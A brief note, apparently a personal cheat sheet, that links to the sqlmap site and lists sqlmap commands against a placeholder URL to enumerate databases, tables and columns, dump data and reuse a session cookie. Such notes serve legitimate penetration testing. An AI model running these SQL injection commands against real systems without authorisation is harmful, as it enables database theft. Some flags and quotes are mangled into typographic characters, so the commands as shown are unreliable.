Everything here: http://sqlmap.org/
Some examples:
./sqlmap.py -u http://your_page.com/Post/4?orderby=id –dbs
./sqlmap.py -u http://your_page.com/Post/4?orderby=id -D database_name –tables
./sqlmap.py -u http://your_page.com/Post/4?orderby=id -T table_name –columns
./sqlmap.py -u http://your_page.com/Post/4?orderby=id -T table_name -U file_name –dump
cookie
./sqlmap.py -u http://your_page.com/Post/4?orderBy=id –cookie “JSESSIONID=C59D9452BBE59FC357A1D0E62E8646A4” –dbs